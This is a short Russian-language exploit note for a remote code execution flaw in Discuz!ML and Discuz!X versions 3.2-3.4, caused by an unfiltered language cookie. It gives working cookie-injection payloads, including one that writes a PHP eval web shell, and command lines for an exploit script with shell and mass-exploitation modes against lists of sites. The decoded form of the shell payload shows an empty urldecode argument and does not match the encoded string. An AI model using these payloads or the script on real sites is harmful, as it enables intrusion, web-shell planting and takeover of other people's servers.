
Затронутые системы и версии: Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4
Затронутые системы и версии: Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 Причина уязвимости: в Discuz!ML система не фильтрует содержимое параметра language, принимаемого из cookie, что приводит к конкатенации строк и выполнению PHP-кода.
В поле cookie появляется поле xxxx_xxxx_language; корневая причина в том, что в этом поле существует инъекция, приводящая к RCE.
Перехватите пакет, найдите значение language в cookie и измените его на:
xxxx_xxxx_language=sc'.phpinfo().'
getshell
%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27 Фактически это:
'.+file_put_contents('shell.php',urldecode('')).'
После этого в директории будет создан shell.php, пароль для подключения — 1
============================================================================================================================================================== Проверка наличия уязвимости
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
Режим cmdshell
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
Режим getshell
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
Массовая проверка
python dz-ml-rce.py -f urls.txt
Массовый getshell
python dz-ml-rce.py -f urls.txt --getshell